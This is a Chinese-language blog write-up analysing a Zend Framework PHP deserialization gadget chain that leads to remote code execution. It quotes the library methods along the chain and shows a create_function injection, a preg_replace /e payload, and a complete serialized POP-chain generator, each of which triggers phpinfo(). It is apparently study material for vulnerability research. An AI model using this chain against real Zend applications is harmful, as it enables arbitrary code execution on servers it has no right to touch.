当前位置:网站首页>Zend FrameWork RCE1
Zend FrameWork RCE1
2022-08-04 05:27:00 【Ki10Moc】
准备
在bin目录执行
zf create prooject web1
在application\controllers\IndexController.php
写入反序列化接收的参数
代码审计
library\Zend\Log.php
中的__destruct
这里对_writers(私有的数组变量)遍历并调用shutdown函数
这里直接跟进会发现其调用的是Abstract.php
下的shutdown无参方法
没法继续向下跟进
所以需要找其他的shutdown方法
这里找到Zend_Log_Writer_Mail
这个类的shutdown()
public function shutdown()
{
// If there are events to mail, use them as message body. Otherwise,
// there is no mail to be sent.
if (empty($this->_eventsToMail)) {
return;
}
if ($this->_subjectPrependText !== null) {
// Tack on the summary of entries per-priority to the subject
// line and set it on the Zend_Mail object.
$numEntries = $this->_getFormattedNumEntriesPerPriority();
$this->_mail->setSubject(
"{
$this->_subjectPrependText} ({
$numEntries})");
}
// Always provide events to mail as plaintext.
$this->_mail->setBodyText(implode('', $this->_eventsToMail));
// If a Zend_Layout instance is being used, set its "events"
// value to the lines formatted for use with the layout.
if ($this->_layout) {
// Set the required "messages" value for the layout. Here we
// are assuming that the layout is for use with HTML.
$this->_layout->events =
implode('', $this->_layoutEventsToMail);
// If an exception occurs during rendering, convert it to a notice
// so we can avoid an exception thrown without a stack frame.
try {
$this->_mail->setBodyHtml($this->_layout->render());
} catch (Exception $e) {
trigger_error(
"exception occurred when rendering layout; " .
"unable to set html body for message; " .
"message = {
$e->getMessage()}; " .
"code = {
$e->getCode()}; " .
"exception class = " . get_class($e),
E_USER_NOTICE);
}
}
前两个if不为空即可
按照定义
$this->_mail => $this->_mail = new Zend_Mail();
$this->_layout => $this->_layout = new Zend_Layout();
之后进入
$this->_mail->setBodyHtml($this->_layout->render());
跟进render
public function render($name = null)
{
if (null === $name) {
$name = $this->getLayout();
}
if ($this->inflectorEnabled() && (null !== ($inflector = $this->getInflector())))
{
$name = $this->_inflector->filter(array('script' => $name));
}
$view = $this->getView();
if (null !== ($path = $this->getViewScriptPath())) {
if (method_exists($view, 'addScriptPath')) {
$view->addScriptPath($path);
} else {
$view->setScriptPath($path);
}
} elseif (null !== ($path = $this->getViewBasePath())) {
$view->addBasePath($path, $this->_viewBasePrefix);
}
return $view->render($name);
}
}
第二个if满足的两个条件
public function inflectorEnabled()
{
return $this->_inflectorEnabled;
}
public function getInflector()
{
if (null === $this->_inflector) {
require_once 'Zend/Filter/Inflector.php';
$inflector = new Zend_Filter_Inflector();
$inflector->setTargetReference($this->_inflectorTarget)
->addRules(array(':script' => array('Word_CamelCaseToDash', 'StringToLower')))
->setStaticRuleReference('suffix', $this->_viewSuffix);
$this->setInflector($inflector);
}
return $this->_inflector;
}
第一个好说,设置为true
第二个保证$this->_inflector
不为空即可
由于$this->_inflector
是可控的,所以我们
$name = $this->_inflector->filter(array('script' => $name));
可以调用任意类的filter方法
这里找到三个地方
Inflector
,PregReplace
和Callback
中都有filter方法
跟进到Inflector
public function filter($source)
{
// clean source
foreach ( (array) $source as $sourceName => $sourceValue) {
$source[ltrim($sourceName, ':')] = $sourceValue;
}
$pregQuotedTargetReplacementIdentifier = preg_quote($this->_targetReplacementIdentifier, '#');
$processedParts = array();
foreach ($this->_rules as $ruleName => $ruleValue) {
if (isset($source[$ruleName])) {
if (is_string($ruleValue)) {
// overriding the set rule
$processedParts['#'.$pregQuotedTargetReplacementIdentifier.$ruleName.'#'] = str_replace('\\', '\\\\', $source[$ruleName]);
} elseif (is_array($ruleValue)) {
$processedPart = $source[$ruleName];
foreach ($ruleValue as $ruleFilter) {
$processedPart = $ruleFilter->filter($processedPart);
}
$processedParts['#'.$pregQuotedTargetReplacementIdentifier.$ruleName.'#'] = str_replace('\\', '\\\\', $processedPart);
}
} elseif (is_string($ruleValue)) {
$processedParts['#'.$pregQuotedTargetReplacementIdentifier.$ruleName.'#'] = str_replace('\\', '\\\\', $ruleValue);
}
}
// all of the values of processedParts would have been str_replace('\\', '\\\\', ..)'d to disable preg_replace backreferences
$inflectedTarget = preg_replace(array_keys($processedParts), array_values($processedParts), $this->_target);
if ($this->_throwTargetExceptionsOn && (preg_match('#(?='.$pregQuotedTargetReplacementIdentifier.'[A-Za-z]{1})#', $inflectedTarget) == true)) {
require_once 'Zend/Filter/Exception.php';
throw new Zend_Filter_Exception('A replacement identifier ' . $this->_targetReplacementIdentifier . ' was found inside the inflected target, perhaps a rule was not satisfied with a target source? Unsatisfied inflected target: ' . $inflectedTarget);
}
return $inflectedTarget;
}
这里的preg_replace的三个参数都可控
$inflectedTarget = preg_replace(array_keys($processedParts), array_values($processedParts), $this->_target);
结合着
Callback
中的
public function filter($value)
{
$options = array();
if ($this->_options !== null) {
if (!is_array($this->_options)) {
$options = array($this->_options);
} else {
$options = $this->_options;
}
}
array_unshift($options, $value);
return call_user_func_array($this->_callback, $options);
}
}
可以实现call_user_func_array('create_function',["){}phpinfo();exit;/*",'']);
<?php
call_user_func_array('create_function',["){}phpinfo();exit;/*",'']);
实际上也就是实现了phpinfo()
上面提到的还有一个没有利用的filter方法
Preg_Replace
public function filter($value)
{
if ($this->_matchPattern == null) {
require_once 'Zend/Filter/Exception.php';
throw new Zend_Filter_Exception(get_class($this) . ' does not have a valid MatchPattern set.');
}
return preg_replace($this->_matchPattern, $this->_replacement, $value);
这里的前两个值是可控的,参考深入研究preg_replace与代码执行 - 先知社区 (aliyun.com)
原先的语句: preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
变成了语句: preg_replace('/(.*)/ei', 'strtolower("\\1")', {
${
phpinfo()}});
2.4.2 RCE 1
<?php
namespace Zend\View\Renderer;
use Zend\Config\Config;
class PhpRenderer
{
function __construct()
{
$this->__helpers = new Config();
}
}
namespace Zend\Config;
class Config {
protected $data = [];
function __construct()
{
$this->data = ['shutdown'=>"phpinfo"];
}
}
namespace Zend\Log;
use Zend\View\Renderer\PhpRenderer;
class Logger
{
protected $writers;
function __construct()
{
$this->writers = [new PhpRenderer()];
}
}
echo base64_encode(serialize(new Logger()));
但这里在网上找到的解读文章都不是很详尽……
主要还是想学习一下poc的手法
边栏推荐
猜你喜欢
嵌入式系统驱动初级【4】——字符设备驱动基础下_并发控制
4.3 Annotation-based declarative transactions and XML-based declarative transactions
关于C#的反射,你真的运用自如嘛?
FLV格式详解
ORACLE LINUX 6.5 安装重启后Kernel panic - not syncing : Fatal exception
webrtc中视频采集实现分析(一) 采集及图像处理接口封装
7.18 Day23 - the markup language
MySQL数据库面试题总结(2022最新版)
Code Refactoring: For Unit Testing
什么是跨域和同源
随机推荐
[原创]STL容器map和unordered_map性能,创建,插入,随机访问速度对比!
实现登录密码混合动态因子,且动态因子隐式
TensorRTx-YOLOv5工程解读(二)
Set集合与Map集合
MySQL日志篇,MySQL日志之binlog日志,binlog日志详解
JS实现上一个、下一个、置顶、置底操作
Canal mysql data synchronization
Sublime Text 3 2021.8.3 个人配置
箭头函数的使用
OpenCV获取和设置图像的平均亮度
Shell(1)简介入门
【Matlab仿真】:一带电量为q的电荷以速度v运动,求运动电荷产生磁感应强度
谷粒商城-基础篇(项目简介&项目搭建)
7.13 Day20----MYSQL
FFmpeg源码分析:avformat_open_input
4.1 声明式事务之JdbcTemplate
scrapy 爬取当当图书名字图片
C1认证之web基础知识及习题——我的学习笔记
Web Basics and Exercises for C1 Certification - My Study Notes
关系型数据库-MySQL:错误日志(log_error)